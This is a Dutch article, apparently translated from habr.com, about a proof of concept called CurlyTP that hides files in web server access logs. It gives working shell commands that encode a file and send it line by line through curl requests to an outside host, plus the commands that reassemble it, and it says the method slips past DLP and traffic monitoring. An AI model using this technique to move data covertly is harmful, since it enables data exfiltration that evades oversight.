Uitwisseling van geheime berichten via serverlogs

Volgens de Wikipedia-definitie is een dead drop een samenzweringsinstrument dat dient om informatie of bepaalde items uit te wisselen tussen mensen die een geheime locatie gebruiken. Het idee is dat mensen elkaar nooit ontmoeten, maar toch informatie uitwisselen om de operationele veiligheid te behouden.

De schuilplaats mag geen aandacht trekken. Daarom gebruiken ze in de offline wereld vaak discrete dingen: een losse steen in de muur, een bibliotheekboek of een holte in een boom.

Er zijn veel tools voor encryptie en anonimisering op internet, maar alleen al het gebruik van deze tools trekt de aandacht. Bovendien kunnen ze worden geblokkeerd op bedrijfs- of overheidsniveau. Wat moeten we doen?

Ontwikkelaar Ryan Flowers stelde een interessante optie voor: gebruik een webserver als schuilplaats. Als je erover nadenkt, wat doet een webserver dan? Ontvangt verzoeken, geeft bestanden uit en schrijft logs. En het registreert alle verzoeken, zelfs onjuiste!

Het blijkt dat je met elke webserver vrijwel elk bericht in het logboek kunt opslaan. Flowers vroeg zich af hoe ze dit konden gebruiken.

Hij biedt deze optie:

  1. Neem een ​​tekstbestand (geheim bericht) en bereken de hash (md5sum).
  2. Wij coderen het (gzip+uuencode).
  3. We schrijven naar het log met behulp van een opzettelijk onjuist verzoek aan de server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Om een ​​bestand te lezen, moet u deze handelingen in omgekeerde volgorde uitvoeren: het bestand decoderen en uitpakken, de hash controleren (de hash kan veilig via open kanalen worden verzonden).

Spaties worden vervangen door =+=zodat er geen spaties in het adres staan. Het programma, dat de auteur CurlyTP noemt, maakt gebruik van base64-codering, net als e-mailbijlagen. De aanvraag wordt gedaan met een trefwoord ?transfer?zodat de ontvanger het gemakkelijk in de logs kan vinden.

Wat zien we in dit geval in de logboeken?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Zoals eerder vermeld, moet u, om een ​​geheim bericht te ontvangen, de bewerkingen in omgekeerde volgorde uitvoeren:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Het proces is eenvoudig te automatiseren. Md5sum komt overeen en de inhoud van het bestand bevestigt dat alles correct is gedecodeerd.

De methode is heel eenvoudig. “Het doel van deze oefening is alleen maar om te bewijzen dat bestanden kunnen worden overgedragen via onschuldige kleine webverzoeken, en dat het werkt op elke webserver met logbestanden in platte tekst. In wezen is elke webserver een schuilplaats!”, schrijft Flowers.

Uiteraard werkt de methode alleen als de ontvanger toegang heeft tot serverlogboeken. Maar dergelijke toegang wordt bijvoorbeeld door veel hosters geboden.

Hoe te gebruiken?

Ryan Flowers zegt dat hij geen informatiebeveiligingsexpert is en geen lijst zal opstellen met mogelijke toepassingen voor CurlyTP. Voor hem is het slechts een proof of concept dat de bekende tools die we elke dag tegenkomen op een onconventionele manier kunnen worden gebruikt.

In feite heeft deze methode een aantal voordelen ten opzichte van andere server-“huiden” zoals Digitale deaddrop of Piratenbox: het vereist geen speciale configuratie aan de serverzijde of speciale protocollen - en zal geen argwaan wekken bij degenen die het verkeer monitoren. Het is onwaarschijnlijk dat een SORM- of DLP-systeem URL's scant op gecomprimeerde tekstbestanden.

Dit is een van de manieren om berichten via servicebestanden te verzenden. U kunt zich nog herinneren hoe sommige geavanceerde bedrijven zich vroeger positioneerden Ontwikkelaarstaken in HTTP-headers of in de code van HTML-pagina's.

Uitwisseling van geheime berichten via serverlogs

Het idee was dat alleen webontwikkelaars dit paasei zouden zien, aangezien een normaal mens niet naar de headers of HTML-code zou kijken.

Uitwisseling van geheime berichten via serverlogs

Bron: www.habr.com

Voeg een reactie